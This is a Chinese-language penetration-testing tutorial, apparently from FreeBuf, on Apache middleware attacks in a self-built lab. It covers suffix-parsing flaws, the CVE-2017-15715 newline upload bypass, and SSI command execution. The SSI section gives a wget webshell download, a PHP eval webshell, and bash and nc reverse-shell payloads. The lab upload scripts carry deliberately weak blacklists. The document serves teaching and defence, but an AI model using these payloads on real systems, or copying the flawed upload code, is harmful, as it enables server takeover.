
系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到如何搭建apache、apache的解析漏洞(CVE-2017-15715)、Kali搭建apache攻防详解、Apache HTTPD 换行解析漏洞(CVE-2017-15715)、Apache SSI远程命令执行漏洞等等,最后远程代码执行控制服务器等操作,如果连apache都不会安装操作提权等,怎么进行下一步的研究apache安全!怎么拿下对方服务器?
二、apache底层详解
Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。
简单来说就是一个好用的,并且能支持基础的HTML、PHP、Perl、Python等语言。很牛逼!
Apache的目录结构:
bin-------存放常用的命令工具,例如httpd
cgi-bin---存放Linux下常用的命令,例如xxx.sh
conf------Linux的配置相关文件,例如httpd.conf
error-----错误记录
htdocs----放网站源码
icons-----网站图标
logs------日志
manual----手册
modules---扩展模块
Apache原理介绍:
下面要讲到的Apahce的漏洞必须要理解Apache的运行原理。
很多朋友在搭建PHP环境时,经常采用PHPStudy、LAMP、XAMPP等集成环境搭建,很容易忽略里面的一些原理。为了更好的理解本节课中讲到的漏洞,必须要说一下Apache与PHP的小秘密。
通过图来说下完整的WEB请求流程,如下图:
请求,从request开始,到response结束!
图中简易描述了Apahce与PHP配合完成了一次WEB请求,Apahce在前,PHP在后,那两者之间如何进行通信的呢?先了解下PHP的架构。如下图:深入理解Zend SAPIs:
https://www.laruence.com/2008/08/12/180.html
(里面还包含了PHP源码分析)
简单理解:
通过上图可以看出PHP的整体分为5层(类似Android的架构图),分别解释下:
1. Zend Engine是PHP的底层实现,包含编译和执行,底层由C语言实现。
2. Zend API、Zend Extension API是基于Zend底层对外封装提供服务。
3. Extendions使用Extension API实现了扩展库、标准库,例如各种内置函数、MySQL连接库等
4. SAPI是重点,全称是Server Application Programming Interface,也就是服务端应用编程接口。PHP就是通过它来和Apache、Nginx、FastCGI交互
5. Application是最上层,也就是我们写的PHP代码了
OK,上面的PHP的架构明白了,那么现在关于Apache和PHP通信的过程还是不明白的。众所周知,Apache本身是不支持PHP解析的,通过架构图可以知道是通过SAPI进行通信,那Apache如何和SAPI通信呢?Apache怎么知道什么类型的文件要解析为PHP?如果你手动搭建过Apache解析PHP的环境,就肯定了解这两个步骤:
# 加载php5_module模块
LoadModule php5_module php5apache2_2.dll的路径
# 添加可以执行php的文件类型,让.php文件类型解析为PHP
AddType application/x-httpd-php .php
# 或者将AddType变为下面的(在Apache 2.4.0~2.4.29中默认使用了该方式)
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
以及
<IfModule dir_module>
DirectoryIndex index.html index.htm index.php index.phtml
</IfModule>
Apache通过LoadModule来加载php5_module模块(php5apache2_2.dll),这样做的目的是让Apache加载php5_module模块来解析PHP文件。意思其实就是用LoadModule来加载php5_module。也就是把php作为Apache的一个子模块来运行。当通过Web访问php文件时,Apache就会调用php5_module来解析php代码。
调用过程可以概括为:
HTTP->Apahce->php5_module->sapi->php
讲到这里各位应该明白了Apache是怎么调用php的了!
三、apache攻防详解
1、windows环境下操作:
1)解析漏洞(CVE-2017-15715)
未知扩展名解析漏洞
Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在mime.types文件内),则继续向左识别,直到识别到合法后缀才进行解析。
与Windows不同,Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止,Apache官方解释是这样的。
地址:
http://httpd.apache.org/docs/current/mod/directive-dict.html
1)复现
这里使用phpstudy进行复现:
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
Apache的文件名扩展名的定义写在conf/mime.types文件中:
我们建立如下文件来验证该规则:放入两个文件jpg和jpg.aa
正常解析!
既然可以正常解析,那么我们可以利用它绕过一些规则,比如上传文件的黑名单,并使其正常解析:
使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。并且,想利用此漏洞必须保证文件扩展名中 至少带有一个“.php”,否则将默认被作为txt/html文档处理。
开始继续深入测试:
选择php5版本!
完成安装!
完成切换到apache+php5版本!
php常见运行方式有 apache的模块模式(分为mod_php和mod_cgi) cgi模式,fast-cgi模式:
1. 使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞
2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
3. 并且,想利用此漏洞必须保证文件扩展名中至少带有一个“.php”,否则将默认被作为txt/html文档处理。
module模式:以txt文本显示!
fastcgi模式:500错误!
最后:
绕过机制:可看到正常解析!
2、Kali操作
1)环境搭建
安装apache:
Kali虚拟机中是包含有Apache的,在/etc目录下ls即可显示出来,所以这里只需要进行配置就可以了。
/etc/init.d/apache2 start
/etc/init.d/apache2 status
service apache2 restart
打开Apache服务!
或者:
systemctl restart apache2
systemctl status apache2
apache成功安装!
安装php:
同上Kali虚拟机中是包含有MySQL的,在/etc目录下ls即可显示出来,这里同样直接进行配置就可以了。
运行php -v可以看到php是配置好的
php -v
PHP 7.4.11版本!
测试Apache+PHP
在/var/www/html目录下创建index.php文件
touch index.php创建文件:
写入如下内容:
<?php
phpinfo();
?>
成功搭建好!
2)深入分析apache解析漏洞
本地是debian系的kali linux,apache配置文件路径在/etc/apache2/下,apache2.conf是apache核心配置文件,由于我本地php作为apache的mod方式运行的,所以需要在mods-enabled目录下找到关于apache-php模块的配置:
可以看见php7.0.conf是mods-available/php7.0.conf的软链接,配置如下:
第一行就告诉了我们apache会将哪些后缀的文件当做php解析:
<FilesMatch ".+\.ph(ar|p|tml)$">
以如下方式结尾的文件会被apache当做php解析:
phar
php
phtml
apache这次解析漏洞的根本原因就是这个$
,正则表达式中,我们都知道$
用来匹配字符串结尾位置,我们来看看菜鸟教程中对正则表达符$
的解释!
菜鸟教程:
https://www.runoob.com/regexp/regexp-syntax.html
那么就明白了,在设置了 RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符!
进一步试验,把php7.4.conf文件中刚刚提到的正则表达式的
“$”换成“\.”
然后重启Apache使配置文件生效,再在浏览器中访问index.php.xxx,这次,index.php.xxx果然被当做php程序执行了。
总结利用条件:
1. 使用module模式,且正则符合条件
2. 文件扩展名中至少带有一个.php
3)AddHandler导致的解析漏洞
http://192.168.253.9/index.php.jpg
无法解析!
AddHandler application/x-httpd-php .php
service apache2 restart
重新启动apache服务!
即使最右边的文件格式是在mime.types文件内,只要文件名中出现.php,就直接被解析为php!
4)罕见后缀总结
在mime.types文件中:不仅仅有php,还有php3、php4、php5、pht和phtml!
在php7.4.conf中:
<FilesMatch ".+\.ph(ar|p|tml)$">
该正则表达式匹配的不仅仅有php,还有phar、phtml等!
配置问题导致总结:
1)如果在Apache的 /etc/apache2/apache2.conf里有这样的配置
<FilesMatch "dayu.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这时只要文件名是dayu.jpg,会以php 来执行。
2)如果在Apache的conf里有这样一行配置AddHandler php5-script .php
这时只要文件名里包含.php
即使文件名是dayu.php.jpg也会以php来执行!
3)如果在Apache的conf里有这样一行配置AddType application/x-httpd-php .jpg
,即使扩展名是.jpg,也会以php来执行!
5)目录遍历
google:(谷歌访问搜索大法即可)
intitle:index of
3、Apache HTTPD 换行解析漏洞(CVE-2017-15715)
后缀包含换行符\x0A(CVE-2017-15715)
phith0n师傅在代码审计知识星球里提到了Apache的一个解析漏洞CVE-2017-15715
漏洞描述:
上传一个后缀末尾包含换行符的文件,来绕过FilesMatch。绕过FilesMatch不一定能被PHP解析。
这个漏洞可以用来绕过文件上传黑名单限制。即:
1.php\x0a => 1.php
apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。
影响范围:2.4.0~2.4.29版本
此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配\n 或 \r
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略:
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
配置修改下!
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="name" />
<input type="submit" value="上传文件" />
</form>
</body>
</html>
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
echo "ok";
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
成功创建文件上传!
但是经过测试未成功,原因:
版本范围不对!
换成乌班图系统进行测试:
靶场搭建:
下载docker环境:
sudo apt install curl
curl -s https://get.docker.com/ | sh
sudo apt install python
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip install docker-compose
kali:
apt-get install docker docker-compose
sudo apt install docker-compose
docker-compose -v
成功完成安装环境!!
参考文章:
https://blog.csdn.net/qq_36374896/article/details/84102101
安装完前期环境后,开始安装vulhub:
https://vulhub.org/#/docs/download-vulhub/
git clone https://github.com/vulhub/vulhub.git
开启CVE-2017-15715,编译及运行漏洞环境:
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build
sudo docker-compose up -d
docker ps
启动后Apache运行在http://192.168.253.7:8080/
好了,正常部署成功!
开始复现:
直接上传dayutest.php是失败的!
抓包分析!
加入点,点的hex是2e,然后将2e改为0a即可!
修改0a!!
成功上传
然后访问:
http://192.168.253.7:8080/1.php%0a
成功上传并解析!
分析代码:
为什么加上0x0a就能绕过了呢?先看下index.php的代码?
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Upload</title>
</head>
<body>
<form method="POST" enctype="multipart/form-data">
<p>
<label>file:<input type="file" name="file"></label>
</p>
<p>
<label>filename:<input type="text" name="name" value="evil.php"></label>
</p>
<input type="submit">
</form>
</body>
</html>
<?php
}
?>
后台是通过黑名单方式过滤了php后缀的文件,根据最开始的知识,什么样的文件算是php文件呢?在<FilesMatch .php$>有定义,这句话的意思是以.php结尾的文件都算php文件,在正则中表示匹配输入字符串的结尾位置。如果设置了RegExp对象的Multiline属性,则也匹配 '\n' 或 '\r'。
恰好,我们在文件末尾加了0x0a(\n),所以被匹配成功了。
讲到这里有两个概念需要讲清楚:0x0a与0x0d、正则表达式的m修饰符:
1. 0x0d、\r、CR这三者代表是回车,是同一个东西,回车的作用只是移动光标至该行的起始位置;
2. 0x0a、\n、CL这三者代表换行,是同一个东西,换行至下一行行首起始位置;
由上述可知,0x0a才是到下一行,所以在绕过时0x0d不起作用,你也可以在burp抓包时替换十六进制进行观察。
m修饰符规定正则表达式可以执行多行匹配,m修饰符也就是RegExp对象的Multiline属性。下面举个例子:
var str="This is an\n Apple";
var reg=/an$/;
console.log(str.match(reg));
由于未采用多行匹配,以上是匹配不出来的,尽管他第一行以an结尾,如果正则改为/an$/m
即可匹配。以上是apache的换行解析漏洞的原理,但也不能称之为漏洞,因为这只是Apache的特性,只是开发或者运维人员没有使用到位。
限制:获取文件名时不能用$_FILES['file']['tmp_name']
,因为它会自动把换行去掉!!
修复建议
1. 升级到最新版本
2. 或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行脚本权限。
docker-compose常用命令:
docker-compose up -d # 启动所有服务并在后台运行
docker-compose ps # 查看服务运行状态
docker-compose restart # 重启所有服务
docker-compose restart myApp # 重启 myApp 服务
docker-compose start # 开启所有服务
docker-compose start myApp # 开启 myApp 服务
docker-compose stop # 停止所有服务
docker-compose stop myApp # 停止 myApp 服务
docker-compose rm # 删除所有服务
docker-compose rm myApp # 删除 myApp fuwu
4、Apache SSI远程命令执行漏洞
**影响版本:**Apache全版本(支持SSI与CGI)
**影响说明:**绕过服务器策略,上传webshell
漏洞原理
漏洞原理:当目标服务器开启了SSI与CGI支持,我们就可以上传shtml文件,利用<!--#exec cmd="id" -->
语法执行命令。
环境搭建
此次环境使用docker环境搭建,环境采用地址Vulhub,环境文件有2个:
docker-compose.yml
upload.php
执行构建环境命令如下(启动后在浏览器中访问http://127.0.0.1:8080)
cd vulhub/httpd/ssi-rce
docker-compose ps # 查看服务运行状态
docker-compose stop # 停止所有服务
docker-compose up -d # 启动所有服务并在后台运行
完成开启后:
漏洞原理:
SSI(server-side includes):
是放置在HTML页面中的指令,它可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在Apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开启SSI需要单独配置Apache,可以参考SSI配置。
SSI定义和配置深入了解:
https://httpd.apache.org/docs/2.4/howto/ssi.html
SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作,功能非常强大。
我们要利用的就是SSI执行系统命令的功能,正常的一个包含SSI指令的文件,可以如下内容:
<pre>
<!--#exec cmd="whoami" -->
</pre>
文件名保存为dayu.shtml,这个后缀取决于Apache的配置,默认是此后缀。
当后台对扩展名校验不严格时,可以上传此类型文件,达到执行命令,获取webshell的目的。执行效果:
获得CMD反弹的命令回显!
上传webshell:
<!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
echo '<?php @eval($_POST[dayu]);?>' > shell.php
需要开启python!
反弹shell:
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.253.27/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.253.27 8888 -e /bin/bash"-->
本地复现:
apache开启SSI:
在httpd.conf文件中找到以下代码:
2)添加需要的文件类型
在httpd.conf文件中找到以下两行代码:
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
有注释的话去掉注释(#)。因为使用SSI技术的默认文件名是.shtml,所以我们需要在配置文件中添加我们所需要解析的文件类型,如下面所示:
3)添加INCLUDES
在httpd.conf文件中找到这一行:
Options +Indexes +FollowSymLinks +ExecCGI
在后面添加INCLUDES:
Options +Indexes +FollowSymLinks +ExecCGI +INCLUDES
然后重启apache!
放入源码:upload.php
<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php'])) {
die('Unsupported filetype uploaded.');
}
move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<a href='/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";
endif;
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
生成upload.php!
kali上实验:
系统找不到文件~
报错未解决!
四、总结
今天学到了搭建apache、apache的解析漏洞(CVE-2017-15715)、Kali搭建apache攻防详解、Apache HTTPD 换行解析漏洞(CVE-2017-15715)、Apache SSI远程命令执行漏洞等等,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)......
接下来在《服务攻防之中间件Nginx》会接触到如何进行nginx的优势,nginx搭建安装,nginx攻防详解等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件nginx篇下章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)